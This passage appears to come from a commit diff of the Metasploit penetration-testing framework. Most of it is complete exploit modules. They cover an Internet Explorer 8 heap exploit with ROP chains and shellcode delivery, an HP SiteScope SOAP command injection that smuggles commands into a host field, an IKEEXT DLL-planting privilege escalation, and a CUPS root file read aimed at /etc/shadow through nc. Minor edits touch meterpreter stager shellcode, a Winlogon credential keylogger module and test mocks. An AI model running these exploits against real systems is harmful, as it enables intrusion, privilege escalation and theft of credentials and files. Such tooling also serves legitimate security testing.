[ 'URL', 'https://speakerd.s3.amazonaws.com/presentations/0df98910d26c0130e8927e81ab71b214/for-share.pdf' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[
'IE 8 on Windows XP SP3',
{
'Rop' => :msvcrt,
'Pivot' => 0x77c15ed5, # xchg eax, esp; ret
'Align' => 0x77c4d801 # add esp, 0x2c; ret
}
],
[
'IE 8 on Windows 7',
{
'Rop' => :jre,
'Pivot' => 0x7c348b05, # xchg eax, esp; ret
'Align' => 0x7C3445F8 # add esp, 0x2c; ret
}
]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Privileged' => false,
'DisclosureDate' => "Jul 09 2013",
'DefaultTarget' => 0))
end
def get_target(agent)
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.1'
os_name = 'Windows 7'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
return t
end
end
nil
end
def get_payload(t, cli)
rop = ''
code = payload.encoded
esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
case t['Rop']
when :msvcrt
# Stack adjustment # add esp, -3500
esp_align = "\x81\xc4\x54\xf2\xff\xff"
print_status("Using msvcrt ROP")
rop =
[
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
0x77c1e844, # skip 4 bytes [msvcrt.dll]
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
0xffffffff,
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c3048a, # POP EDI # RETN [msvcrt.dll]
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
0x77c46efb, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c3b860, # POP EAX # RETN [msvcrt.dll]
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
].pack("V*")
else
print_status("Using JRE ROP")
rop =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
0xffffffff,
0x7c376402, # skip 4 bytes [msvcr71.dll]
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
0x7c38b001, # &Writable location [msvcr71.dll]
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll]
# rop chain generated with mona.py
].pack("V*")
end
rop_payload = rop
rop_payload << esp_align
rop_payload << code
rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt
rop_payload
end
def junk
rand_text_alpha(4).unpack("V")[0].to_i
end
def nop
make_nops(4).unpack("V")[0].to_i
end
def get_html(t, p)
js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*"))
js_payload = Rex::Text.to_unescape(p)
js_align = Rex::Text.to_unescape([t['Align']].pack("V*"))
js_junk = Rex::Text.to_unescape([junk].pack("V*"))
q_id = Rex::Text.rand_text_alpha(1)
html = %Q|
<!DOCTYPE html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>
</head>
<script>
#{js_mstime_malloc}
window.onload = function() {
var x = document.getElementById("#{q_id}");
x.outerText = "";
a = document.getElementById('myanim');
p = '';
for (i=0; i < 7; i++) {
p += unescape("#{js_junk}");
}
p += unescape("#{js_payload}");
fo = unescape("#{js_align}");
for (i=0; i < 28; i++) {
if (i == 27) { fo += unescape("#{js_pivot}"); }
else { fo += unescape("#{js_align}"); }
}
fo += p;
mstime_malloc({shellcode:fo, heapBlockSize:0x68, objId:"myanim"});
}
</script>
<table>
<tr>
<div>
<span>
<q id='#{q_id}'>
<a>
<td></td>
</a>
</q>
</span>
</div>
</tr>
</table>
<t:ANIMATECOLOR id="myanim"/>
</html>
|
html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
t = get_target(agent)
if t
p = get_payload(t, cli)
html = get_html(t, p)
print_status("Sending exploit...")
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
else
print_error("Not a suitable target: #{agent}")
send_not_found(cli)
end
end
end

View File

@ -0,0 +1,173 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerVBS
def initialize(info = {})
super(update_info(info,
'Name' => 'HP SiteScope Remote Code Execution',
'Description' => %q{
This module exploits a code execution flaw in HP SiteScope.
The vulnerability exists on the opcactivate.vbs script, which
is reachable from the APIBSMIntegrationImpl AXIS service, and
uses WScript.Shell.run() to execute cmd.exe with user provided
data. Note that the opcactivate.vbs component is installed
with the (optional) HP Operations Agent component. The module
has been tested successfully on HP SiteScope 11.20 (with HP
Operations Agent) over Windows 2003 SP2.
},
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-2367'],
[ 'OSVDB', '95824' ],
[ 'BID', '61506' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-205/' ]
],
'Privileged' => true,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'HP SiteScope 11.20 (with Operations Agent) / Windows 2003 SP2', {} ]
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot")
},
'DisclosureDate' => 'Jul 29 2013'))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
], self.class)
end
def uri
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
return uri
end
def check
op = rand_text_alpha(8 + rand(10))
key = rand_text_alpha(8 + rand(10))
value = rand_text_alpha(8 + rand(10))
res = send_soap_request(op, key, value)
if res and res.code == 200 and res.body =~ /runOMAgentCommandResponse/
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def exploit
@peer = "#{rhost}:#{rport}"
print_status("#{@peer} - Delivering payload...")
# The path to the injection is something like:
# * Java exec => cscript => WScript.Shell => cmd.exe (injection happens)
# Empirically has been tested a 1500 value for :linemax makes it work
# reliable
execute_cmdstager({:linemax => 1500})
end
def get_vbs_string(str)
vbs_str = ""
str.each_byte { |b|
vbs_str << "Chr(#{b})+"
}
return vbs_str.chomp("+")
end
# Make the modifications required to the specific encoder
# This exploit uses an specific encoder because quotes (")
# aren't allowed when injecting commands
def execute_cmdstager_begin(opts)
var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
decoded_file = "#{var_decoded}.exe"
encoded_file = "#{var_encoded}.b64"
@cmd_list.each { |command|
# Because the exploit kills cscript processes to speed up and reliability
command.gsub!(/cscript \/\/nologo/, "wscript //nologo")
command.gsub!(/CHRENCFILE/, get_vbs_string(encoded_file))
command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file))
}
end
def execute_command(cmd, opts={})
# HTML Encode '&' character
# taskkill allows to kill the cscript process which is triggering the
# different operations performed by the OPACTIVATE command. It speeds
# up exploitation and improves reliability (some processes launched can die
# due to the fake activation). But this line also will kill other cscript
# legit processes which could be running on the target host. Because of it
# the exploit has a Manual ranking
command = "&#x22;127.0.0.1 &#x26;&#x26; "
command << cmd.gsub(/&/, "&#x26;")
command << " &#x26;&#x26; taskkill /F /IM cscript.exe &#x22;"
res = send_soap_request("OPCACTIVATE", "omHost", command)
if res.nil? or res.code != 200 or res.body !~ /runOMAgentCommandResponse/
fail_with(Failure::Unknown, "#{@peer} - Unexpected response, aborting...")
end
end
def send_soap_request(op, key, value)
data = "<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" "
data << "xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:api=\"http://Api.freshtech.COM\">"
data << "<soapenv:Header/>"
data << "<soapenv:Body>"
data << "<api:runOMAgentCommand soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
data << "<in0 xsi:type=\"x-:Map\" xmlns:x-=\"http://xml.apache.org/xml-soap\">"
data << "<item xsi:type=\"x-:mapItem\">"
data << "<key xsi:type=\"xsd:string\">#{key}</key>"
data << "<value xsi:type=\"xsd:string\">#{value}</value>"
data << "</item>"
data << "</in0>"
data << "<in1 xsi:type=\"xsd:string\">#{op}</in1>"
data << "</api:runOMAgentCommand>"
data << "</soapenv:Body>"
data << "</soapenv:Envelope>"
res = send_request_cgi({
'uri' => normalize_uri(uri, 'services', 'APIBSMIntegrationImpl'),
'method' => 'POST',
'ctype' => 'text/xml; charset=UTF-8',
'data' => data,
'headers' => {
'SOAPAction' => '""'
}
})
return res
end
end

View File

@ -0,0 +1,313 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/post/common'
require 'msf/core/post/windows/services'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/accounts'
require 'msf/core/post/file'
class Metasploit3 < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Services
include Msf::Post::Windows::Accounts
def initialize(info={})
super( update_info( info,
'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL',
'Description' => %q{
This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules'
(IKEEXT) service which runs as SYSTEM, and starts automatically in default
installations of Vista-Win8.
It requires an insecure bin path to plant the DLL payload.
},
'References' =>
[
['URL', 'https://www.htbridge.com/advisory/HTB23108'],
['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html']
],
'DisclosureDate' => "Oct 09 2012",
'License' => MSF_LICENSE,
'Author' =>
[
'Ben Campbell <eat_meatballs@hotmail.co.uk>'
],
'Platform' => [ 'win'],
'Targets' =>
[
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'SessionTypes' => [ "meterpreter" ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'WfsDelay' => 5,
'ReverseConnectRetries' => 255
},
'DefaultTarget' => 0
))
register_options([
OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""])
])
@service_name = 'IKEEXT'
@load_lib_search_path = [ '%SystemRoot%\\System32',
'%SystemRoot%\\System',
'%SystemRoot%'
]
@non_existant_dirs = []
end
def check_service_exists?(service)
srv_info = service_info(service)
if srv_info.nil?
print_warning("Unable to enumerate services.")
return false
end
if srv_info && srv_info['Name'].empty?
print_warning("Service #{service} does not exist.")
return false
else
return true
end
end
def check
srv_info = service_info(@service_name)
if !check_service_exists?(@service_name)
return Exploit::CheckCode::Safe
end
vprint_status(srv_info.to_s)
case srv_info['Startup']
when 'Disabled'
print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
return Exploit::CheckCode::Safe
when 'Manual'
print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")
return Exploit::CheckCode::Safe
when 'Auto'
print_good("Service is set to Automatically start...")
end
if check_search_path
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Vulnerable
end
def check_search_path
dll = 'wlbsctrl.dll'
@load_lib_search_path.each do |path|
dll_path = "#{expand_path(path)}\\#{dll}"
if file_exist?(dll_path)
print_warning("DLL already exists at #{dll_path}...")
return true
end
end
return false
end
def check_system_path
print_status("Checking %PATH% folders for write access...")
result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path')
if result.nil?
print_error("Unable to retrieve %PATH% from registry.")
return
end
paths = result.split(';')
paths.append(@load_lib_search_path).flatten!.uniq!
paths.each do |p|
path = expand_path(p)
if exist?(path)
if check_write_access(path)
return path
end
else
# User may be able to create the path...
print_status("Path #{path} does not exist...")
@non_existant_dirs << path
end
end
return nil
end
def check_write_access(path)
perm = check_dir_perms(path, @token)
if perm and perm.include?('W')
print_good ("Write permissions in #{path} - #{perm}")
return true
elsif perm
vprint_status ("Permissions for #{path} - #{perm}")
else
vprint_status ("No permissions for #{path}")
end
return false
end
def check_dirs
print_status("Attempting to create a non-existant PATH dir to use.")
@non_existant_dirs.each do |dir|
begin
client.fs.dir.mkdir(dir)
if exist?(dir)
register_file_for_cleanup(dir)
return dir
end
rescue Rex::Post::Meterpreter::RequestError => e
vprint_status("Unable to create dir: #{dir} - #{e}")
end
end
return nil
end
def check_session_arch
if sysinfo['Architecture'] =~ /x64/i
if payload_instance.arch.first == 'x86'
fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture")
end
else
if payload_instance.arch.first =~ /64/i
fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture")
end
end
end
def exploit
check_session_arch
begin
@token = get_imperstoken
rescue Rex::Post::Meterpreter::RequestError
vprint_error("Error while using get_imperstoken: #{e}")
end
fail_with(Exploit::Failure::Unknown, "Unable to retrieve token.") unless @token
if is_system?
fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.")
end
print_status("Checking service exists...")
if !check_service_exists?(@service_name)
fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.")
end
if is_uac_enabled?
print_warning("UAC is enabled, may get false negatives on writable folders.")
end
if datastore['DIR'].empty?
# If DLL already exists in system folders, we dont want to overwrite by accident
if check_search_path
fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.")
end
file_path = check_system_path
file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs
if file_path.nil?
fail_with(Exploit::Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...")
end
else
# Use manually selected Dir
file_path = datastore['DIR']
end
@dll_file_path = "#{file_path}\\wlbsctrl.dll"
service_information = service_info(@service_name)
if service_information['Startup'] == 'Disabled'
print_status("Service is disabled, attempting to enable...")
service_change_startup(@service_name, 'auto')
service_information = service_info(@service_name)
# Still disabled
if service_information['Startup'] == 'Disabled'
fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...")
end
end
# Check architecture
dll = generate_payload_dll
#
# Drop the malicious executable into the path
#
print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...")
begin
write_file(@dll_file_path, dll)
register_file_for_cleanup(@dll_file_path)
rescue Rex::Post::Meterpreter::RequestError => e
# Can't write the file, can't go on
fail_with(Exploit::Failure::Unknown, e.message)
end
#
# Run the service, let the Windows API do the rest
#
print_status("Launching service #{@service_name}...")
begin
status = service_start(@service_name)
if status == 1
print_status("Service already running, attempting to restart...")
if service_stop(@service_name) == 0
print_status("Service stopped, attempting to start...")
if service_start(@service_name) == 0
print_status("Service started...")
else
fail_with(Exploit::Failure::Unknown, "Unable to start service.")
end
else
fail_with(Exploit::Failure::Unknown, "Unable to stop service")
end
elsif status == 0
print_status("Service started...")
end
rescue RuntimeError => e
raise e if e.kind_of? Msf::Exploit::Failed
if service_information['Startup'] == 'Manual'
fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
else
if job_id
print_status("Unable to start service, handler running waiting for a reboot...")
while(true)
break if session_created?
select(nil,nil,nil,1)
end
else
fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
end
end
end
end
end

View File

@ -74,7 +74,8 @@ module Metasploit3
# requirement. You can not upload an application if it is signed
# with a key whose validity expires before that date.
# """
cert.not_after = cert.not_before + 3600*24*365*20 # 20 years
# The timestamp 0x78045d81 equates to 2033-10-22 00:00:01 UTC
cert.not_after = Time.at( 0x78045d81 + rand( 0x7fffffff - 0x78045d81 ))
jar.sign(key, cert, [cert])

View File

@ -11,6 +11,7 @@ require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Linux
include Msf::Sessions::CommandShellOptions
def initialize(info = {})

View File

@ -24,7 +24,6 @@ module Metasploit3
'Session' => Msf::Sessions::Meterpreter_x86_Linux))
register_options([
OptBool.new('PrependFork', [ false, "Add a fork() / exit_group() (for parent) code" ]),
OptInt.new('DebugOptions', [ false, "Debugging options for POSIX meterpreter", 0 ])
], self.class)
end
@ -71,21 +70,6 @@ module Metasploit3
midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp
if(datastore['PrependFork'])
# fork() / parent does exit()
# If the target process is threaded, this means the thread
# will exit. exit_group() will try to close the process down
# completely.. and if we do that, it may not be reaped
# correctly.
#
# Plus, depending on the vuln, we might get multiple shots at
# owning a finite amount of threads.
midstager <<
"\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80"
end
midstager <<
"\x6a\x04\x5a\x89\xe1\x89\xfb\x6a\x03\x58" +
"\xcd\x80\x57\xb8\xc0\x00\x00\x00\xbb\x00\x00\x04\x20\x8b\x4c\x24" +

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Linux
include Msf::Sessions::CommandShellOptions
def initialize(info = {})

View File

@ -0,0 +1,172 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/post/common'
require 'msf/core/post/file'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Common
LP_GROUPS = ['lpadmin', '_lpadmin']
attr_accessor :web_server_was_disabled, :error_log_was_reset
def initialize(info={})
super( update_info( info, {
'Name' => 'CUPS 1.6.1 Root File Read',
'Description' => %q{
This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system.
CUPS allows members of the lpadmin group to make changes to the cupsd.conf
configuration, which can specify an Error Log path. When the user visits the
Error Log page in the web interface, the cupsd daemon (running with setuid root)
reads the Error Log path and echoes it as plaintext.
This module is known to work on Mac OS X < 10.8.4 and Ubuntu Desktop <= 12.0.4
as long as the session is in the lpadmin group.
Warning: if the user has set up a custom path to the CUPS error log,
this module might fail to reset that path correctly. You can specify
a custom error log path with the ERROR_LOG datastore option.
},
'References' =>
[
['CVE', '2012-5519'],
['OSVDB', '87635'],
['URL', 'http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791']
],
'License' => MSF_LICENSE,
'Author' =>
[
"Jann Horn", # discovery
"joev <jvennix[at]rapid7.com>" # metasploit module
],
'DisclosureDate' => 'Nov 20 2012',
'Platform' => ['osx', 'linux']
}))
register_options([
OptString.new("FILE", [true, "The file to steal.", "/etc/shadow"]),
OptString.new("ERROR_LOG",
[true, "The original path to the CUPS error log", '/var/log/cups/error_log']
)
], self.class)
end
def check_exploitability
user = cmd_exec("whoami")
user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/)
if (user_groups & LP_GROUPS).empty?
print_error "User not in lpadmin group."
return Msf::Exploit::CheckCode::Safe
else
print_good "User in lpadmin group, continuing..."
end
if ctl_path.blank?
print_error "cupsctl binary not found in $PATH"
return Msf::Exploit::CheckCode::Safe
else
print_good "cupsctl binary found in $PATH"
end
nc_path = whereis("nc")
if nc_path.nil? or nc_path.blank?
print_error "Could not find nc executable"
return Msf::Exploit::CheckCode::Unknown
else
print_good "nc binary found in $PATH"
end
config_path = whereis("cups-config")
config_vn = nil
if config_path.nil? or config_path.blank?
# cups-config not present, ask the web interface what vn it is
output = get_request('/')
if output =~ /title.*CUPS\s+([\d\.]+)/i
config_vn = $1.strip
end
else
config_vn = cmd_exec("cups-config --version").strip # use cups-config if installed
end
if config_vn.nil?
print_error "Could not determine CUPS version."
return Msf::Exploit::CheckCode::Unknown
end
print_status "Found CUPS #{config_vn}"
config_parts = config_vn.split('.')
if config_vn.to_f < 1.6 or (config_vn.to_f <= 1.6 and config_parts[2].to_i < 2) # <1.6.2
Msf::Exploit::CheckCode::Vulnerable
else
Msf::Exploit::CheckCode::Safe
end
end
def run
if check_exploitability == Msf::Exploit::CheckCode::Safe
print_error "Target machine not vulnerable, bailing."
return
end
defaults = cmd_exec(ctl_path)
@web_server_was_disabled = defaults =~ /^WebInterface=no$/i
# first we set the error log to the path intended
cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}")
cmd_exec("#{ctl_path} WebInterface=yes")
@error_log_was_reset = true
# now we go grab it from the ErrorLog route
file = strip_http_headers(get_request('/admin/log/error_log'))
# and store as loot
f = File.basename(datastore['FILE'])
loot = store_loot('cups_file_read', 'application/octet-stream', session, file, f)
print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{loot}")
end
def cleanup
print_status "Cleaning up..."
cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled
cmd_exec("#{ctl_path} ErrorLog=#{prev_error_log_path}") if error_log_was_reset
super
end
private
def prev_error_log_path; datastore['ERROR_LOG']; end
def ctl_path; @ctl_path ||= whereis("cupsctl"); end
def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end
def whereis(exe)
line = cmd_exec("whereis #{exe}")
if line =~ /^\S+:\s*(\S*)/i
$1 # on ubuntu whereis returns "cupsctl: /usr/sbin/cupsctl"
else
line # on osx it just returns '/usr/sbin/cupsctl'
end
end
def get_request(uri)
output = perform_request(uri, 'nc -j localhost 631')
if output =~ /^usage: nc/
output = perform_request(uri, 'nc localhost 631')
end
output
end
def perform_request(uri, nc_str)
# osx requires 3 newlines!
cmd_exec(['printf', "GET #{uri}\r\n\r\n\r\n".inspect, '|', nc_str].join(' '))
end
end

View File

@ -18,7 +18,7 @@ class Metasploit3 < Msf::Post
'Name' => 'Windows Capture Winlogon Lockout Credential Keylogger',
'Description' => %q{
This module migrates and logs Microsoft Windows user's passwords via
Winlogon.exe. Using idle time and natural system changes to give a
Winlogon.exe using idle time and natural system changes to give a
false sense of security to the user.},
'License' => MSF_LICENSE,
'Author' => [ 'mubix', 'cg' ],

View File

@ -11,6 +11,7 @@ require 'msf/core/post/common'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::Windows::Accounts
def initialize(info={})
super(update_info(info,
@ -40,60 +41,6 @@ class Metasploit3 < Msf::Post
], self.class)
end
def get_imperstoken
adv = session.railgun.advapi32
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
tok_all << " | TOKEN_ADJUST_DEFAULT"
#get impersonation token handle it["DuplicateTokenhandle"] carries this value
#p = kern.GetCurrentProcess() #get handle to current process
pid = session.sys.process.open.pid
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
if it["return"] #if it fails return 0 for error handling
return it["DuplicateTokenHandle"]
else
return 0
end
end
def check_dir(dir, token)
# If path doesn't exist, do not continue
begin
session.fs.dir.entries(dir)
rescue => e
vprint_error("#{e.message}: #{dir}")
return nil
end
adv = session.railgun.advapi32
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
result = ""
#define generic mapping structure
gen_map = [0,0,0,0]
gen_map = gen_map.pack("L")
#get Security Descriptor for the directory
f = adv.GetFileSecurityA(dir, si, 20, 20, 4)
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
sd = f["pSecurityDescriptor"]
#check for write access, called once to get buffer size
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
len = a["PrivilegeSetLength"]
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
if !r["return"] then return nil end
if r["GrantedAccess"] > 0 then result << "R" end
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
if !w["return"] then return nil end
if w["GrantedAccess"] > 0 then result << "W" end
end
def enum_subdirs(perm_filter, dpath, maxdepth, token)
filter = datastore['FILTER']
filter = nil if datastore['FILTER'] == 'NA'
@ -110,7 +57,7 @@ class Metasploit3 < Msf::Post
next if d =~ /^(\.|\.\.)$/
realpath = dpath + '\\' + d
if session.fs.file.stat(realpath).directory?
perm = check_dir(realpath, token)
perm = check_dir_perms(realpath, token)
if perm_filter and perm and perm.include?(perm_filter)
print_status(perm + "\t" + realpath)
end
@ -144,7 +91,7 @@ class Metasploit3 < Msf::Post
t = get_imperstoken()
rescue ::Exception => e
# Failure due to timeout, access denied, etc.
t = 0
t = nil
vprint_error("Error #{e.message} while using get_imperstoken()")
vprint_error(e.backtrace)
end
@ -158,7 +105,7 @@ class Metasploit3 < Msf::Post
print_status("Checking directory permissions from: #{path}")
perm = check_dir(path, token)
perm = check_dir_perms(path, token)
if not perm.nil?
# Show the permission of the parent directory
if perm_filter and perm.include?(perm_filter)
@ -188,7 +135,7 @@ class Metasploit3 < Msf::Post
t = get_token
if t == 0
unless t
print_error("Getting impersonation token failed")
else
print_status("Got token: #{t.to_s}...")

View File

@ -82,7 +82,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do
end
it 'should yield #connection' do
connection = mock('Connection')
connection = double('Connection')
connection_pool.stub(:connection => connection)
expect { |block|

View File

@ -15,7 +15,7 @@ describe Msf::Exploit::Remote::HttpServer do
end
let(:mock_service) do
mock_service = mock("service")
mock_service = double("service")
mock_service.stub(:server_name=)
mock_service.stub(:add_resource)

View File

@ -24,7 +24,7 @@ describe Msf::Modules::Loader::Archive do
end
let(:framework) do
mock('Framework')
double('Framework')
end
let(:module_extension) do

View File

@ -122,7 +122,7 @@ describe Msf::Modules::Loader::Base do
context 'loader' do
it 'should be a read/write attribute' do
loader = mock('Loader')
loader = double('Loader')
namespace_module.loader = loader
namespace_module.loader.should == loader
@ -133,7 +133,7 @@ describe Msf::Modules::Loader::Base do
it 'should capture the lexical scope' do
expect {
namespace_module.module_eval_with_lexical_scope(module_content, module_path)
}.to_not raise_error(NameError)
}.to_not raise_error
end
context 'with malformed module content' do
@ -155,7 +155,7 @@ describe Msf::Modules::Loader::Base do
context 'parent_path' do
it 'should be a read/write attribute' do
parent_path = mock('Parent Path')
parent_path = double('Parent Path')
namespace_module.parent_path = parent_path
namespace_module.parent_path.should == parent_path
@ -221,7 +221,7 @@ describe Msf::Modules::Loader::Base do
context 'instance methods' do
let(:module_manager) do
mock('Module Manager', :module_load_error_by_path => {})
double('Module Manager', :module_load_error_by_path => {})
end
subject do
@ -317,7 +317,7 @@ describe Msf::Modules::Loader::Base do
module_manager.stub(:delete).with(module_reference_name)
module_manager.stub(:file_changed?).with(module_path).and_return(true)
module_set = mock('Module Set')
module_set = double('Module Set')
module_set.stub(:delete).with(module_reference_name)
module_manager.stub(:module_set).with(type).and_return(module_set)
end
@ -372,11 +372,11 @@ describe Msf::Modules::Loader::Base do
context 'with errors from namespace_module_eval_with_lexical_scope' do
before(:each) do
@namespace_module = mock('Namespace Module')
@namespace_module = double('Namespace Module')
@namespace_module.stub(:parent_path=)
subject.stub(:namespace_module_transaction).and_yield(@namespace_module)
module_content = mock('Module Content', :empty? => false)
module_content = double('Module Content', :empty? => false)
subject.stub(:read_module_content).and_return(module_content)
end
@ -471,11 +471,11 @@ describe Msf::Modules::Loader::Base do
context 'without module_eval errors' do
before(:each) do
@namespace_module = mock('Namespace Module')
@namespace_module = double('Namespace Module')
